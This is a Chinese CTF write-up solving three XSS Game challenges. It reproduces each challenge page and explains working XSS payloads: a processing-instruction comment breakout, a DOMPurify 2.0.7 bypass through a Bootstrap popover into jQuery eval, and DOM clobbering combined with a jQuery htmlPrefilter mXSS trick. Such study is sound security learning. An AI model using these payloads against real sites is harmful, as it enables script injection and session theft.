记录一下XSS Game的过程

前言

通过这次的XSS Game ctf的学习过程,学到了很多新的xss方法!

0x01 Difficult Version

题目的源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<!-- Challenge -->
<div id="pwnme"></div>

<script>
var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_');
var template = document.createElement('template');
template.innerHTML = input;
pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->";
</script>
</body>
</html>
payload如下:
1
<?><svg onload=alert()>

0x02 Keanu

题目源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- DOMPurify(2.0.7) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js"
integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script>
<!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) -->
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
crossorigin="anonymous"></script>
</head>
<body>
<!-- Challenge -->
<number id="number" style="display:none"></number>
<div class="alert alert-primary" role="alert" id="welcome"></div>
<button id="keanu" class="btn btn-primary btn-sm" data-toggle="popover" data-content="DM @PwnFunction"
data-trigger="hover" onclick="alert(`If you solved it, DM me @PwnFunction :)`)">Solved it?</button>

<script>
/* Input */
var number = (new URL(location).searchParams.get('number') || "7")[0],
name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
$('number#number').html(number);
$('#welcome').html(`Welcome <b>${name || "Mr. Wick"}!</b>`);

/* Greet */
$('#keanu').popover('show')
setTimeout(_ => {
$('#keanu').popover('hide')
}, 2000)

/* Check Magic Number */
var magicNumber = Math.floor(Math.random() * 10);
var number = eval($('number#number').html());
if (magicNumber === number) {
alert("You're Breathtaking!")
}
</script>
</body>
</html>
payload如下:
1
number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">

0x03 WW3

题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- DOMPurify(2.0.7) -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js"
integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script>
<!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) -->
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
crossorigin="anonymous"></script>
</head>
<body>
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>

<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)

if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
console.log(`${DOMPurify.sanitize("<img><style><style/><script>alert()//")}`);
setTimeout(_ => {
$('#status').remove()
console.log(notify);
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>

<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
</body>
</html>
审计代码,我们可以先看到题目定义的几个函数
1
const escape = dirty => unescape(dirty).replace(/[<>'"=]/g, "");
用来过滤我们的img参数
1
2
3
4
5
6
7
8
9
const memeTemplate = (img, text) => {
return (
`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');` +
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}` +
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;` +
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>` +
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`
);
};
用来将我们传入的img & text参数构造一个HTML模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);

if (notify) {
html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(
text
)}</div>`;
}

setTimeout(_ => {
$("#status").remove();
notify ? $("#notify").html(html) : "";
$("#meme-code").text(template);
}, 1000);
}
};
用来进行 DOM 元素操作等,看起来我们的目标就是setTimeout函数中通过$(“#notify”).html(html)来执行代码了,所以我们可能需要想办法把 notify 参数设置为 true。
DOM Clobbering
首先我们先来看看几个比较有趣的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img id=domain name=domain>
<script>
console.log(domain);
console.log(document.domain);
console.log(window.domain);
</script>
</body>
</html>
结果如下:
1
2
3
<img id="domain" name="domain">
<img id="domain" name="domain">
<img id="domain" name="domain">
可以通过一些标签的id(name)属性来控制document(window)通过DOM API(BOM API)获取到的某个东西。
setTimeout
我们了解了Dom Clobberimg 之后,我们可以先看看可以怎么通过setTimeout来利用
1
2
3
4
5
<div id="a"></div>
<script>
a.innerHTML = new URL(location).searchParams.get('b');
setTimeout(ok, 2000)
</script>
简化了一下题目代码,对于以上的代码,我们可以通过利用Dom Clobbering来实现XSS,因为我们可以直接传入id为ok的标签进行xss,例如传入
1
<a id=ok href=javascript:alert()>
可是为什么呢?
根据 MDN 文档,setTimeout的第一个参数,必须是个函数或字符串。可是根据 Dom Clobbering ,这里的ok应该是一个 a 标签,既然这不是个函数,它就尝试用toString方法转换成字符串,而根据 MDN 文档 HTMLAnchorElement
HTMLHyperlinkElementUtils.toString()
Returns a USVString containing the whole URL. It is a synonym for HTMLHyperlinkElementUtils.href, though it can’t be used to modify the value.
而当 a 标签通过toString()方法转换我们可以得到它的 href 属性,也就是javascript:alert(),所以我们就可以执行代码了。
例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<a id=ok href=javascript:alert()>
<script>
const anchor = document.getElementById("ok");
const result = anchor.toString();

console.log(result);
setTimeout(result,2000);
</script>
</body>
</html>
notify
好了,回到我们的 notify 上,虽然我们可以通过 DOM Clobbering 进行”污染”一些参数,但是题目直接规定了let notify = false,浏览器当然也不可能允许我们修改服务端的代码,这可怎么办?
其实这里的 notify 比较具有误导性,比较像 C 语言入门的时候函数传参部分,我们把整个代码改一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
if (notify) {
//...
}
}
};
</script>

<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">` +
`<img class="circle" src="${escape(
img
)}" onload="memeGen(this, notify)">` +
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
);
} else {
$("#meme-code").text(
memeTemplate(
"https://i.imgur.com/PdbDexI.jpg",
"When you get that WW3 draft letter"
)
);
}
</script>
再简化一下就成了我们的C语言函数传参的练习题了
1
2
3
4
5
const memeGen = (that, x) => {
if (x) {
//...
}
};
为了易于理解我们可以写成这样就不易弄混了,所以,对于memeGen来说,notify只是一个参数变量名,区别于我们一开始提到的 Javascript Scope 部分,该函数内的notify参数变量取决于该函数所在的作用域。
而对于memeGen函数来说,它的作用域并非是在let notify = false所处的 JS 代码域当中,而是在通过document.write函数之后的作用域,所以这里就涉及到了作用域的问题。
javaScript Scope
所以对于执行document.write函数过后,也就是对于onload=memeGen函数来说,其作用域并非是 JS 的作用域,在题目中本来这么几个作用域:window、script、onload,其中 window 包含了后两个,后两个互不包含,所以这里在 onload 找不到 notify 变量,就会去 window 的作用域找,就会把 script 作用域当中的 notify 给找到,notify 变量也就成 false 了。
我们也可以通过一个简单的例子来理解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<div name=x></div>
<script>
const test = (that,x) => {
console.log("Test'x: " + x);
if(x){
console.log("JS Magic");
}
};
</script>
<script>
let x = false;
console.log("JS'x: " + x);
document.write("<img src=x onerror=test(this,x)>");
</script>
</body>
</html>
结果如下:
1
2
3
JS'x: false
Test'x: 16
JS Magic
原理都是一样的,这里test函数在onerror作用域找到了 x 变量,所以就不会再去找 window 作用域下的 x=false变量了,所以本题我们需要引入一个name=notify的标签来“覆盖”掉原来的 notify 变量。
其实这也是一开始我们可以发现题目给出的代码有一处也比较神奇就是 text & img
1
2
3
4
5
6
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
...
}
};
memeGen函数在函数内找不到text,onload 的作用域也找不到text,就会去 script下面找,而多个 script 属于同一个作用域,所以对于函数当中的 text 以及 img ,它是在下一块 JS 代码段定义的。
1
2
3
4
5
6
<script>
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
...
</script>
JQuery's 'mXSS'
所以基本上 notify 的问题我们解决了,接下来就是 DOM Purify 的问题了。
我们可以知道最终我们要插入的代码是通过$(“#notify”).html(html)来插入的,而参数 html 又来自
1
html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`;
简单跟一下 JQuery 的 html() 函数,我们可以发现有以下利用链:
html()->append()->doManip()->buildFragment()->htmlPrefilter()
htmlPrefilter()函数中我们可以看到有这么一段代码:
1
2
3
4
5
6
// source of htmlPrefilter()
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
},
...
这段代码就是用来转换一些自闭合标签的标签,例如变成,我们就可以利用这个特性来实现一些绕过,例如:
1
<style><style/>Elon
经过innerHTML会变成
1
2
3
<style>
<style/>Elon
</style>
但是经过 jquery html() 就会变成
1
2
3
4
<style>
<style>
</style>
Elon
我们可以发现通过html()可以把一些自闭合的拆分,以及把内容转换出去,有点类似于 mXSS ,最终我们得到的是
1
<style><style></style>Elon</style>
所以我们可以利用这个特性绕过 XSS WAF,例如以下
1
<style><style/><script>alert()//
经过DOMPurify.sanitize我们可以得到
1
<style><style/><script>alert(1337)//</style>
经过 jquery html()到最终渲染页面就变成了
1
<style><style></style><script>alert(1337)//</style></div></script></div></div>
所以这就是 JQuery’s 类似于 mXSS 的 trick
综上所述,配合我们之前的内容,最终 payload 如下:
1
<img name=notify><style><style/><script>alert()//
最终传参:
1
img=valid_img_url&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F
这里我也不是非常清楚作者为啥要加一个 img 参数//全程没有用到

0x05参考链接

https://www.anquanke.com/post/id/198496#h2-3
DOM Clobbering
HTMLAnchorElement